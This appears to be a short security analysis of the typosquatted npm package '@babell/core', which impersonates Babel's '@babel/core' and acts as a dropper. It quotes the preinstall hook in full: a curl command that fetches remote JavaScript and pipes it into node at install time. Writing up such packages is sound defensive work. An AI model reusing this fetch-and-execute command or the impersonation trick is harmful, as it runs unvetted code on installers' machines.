The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.
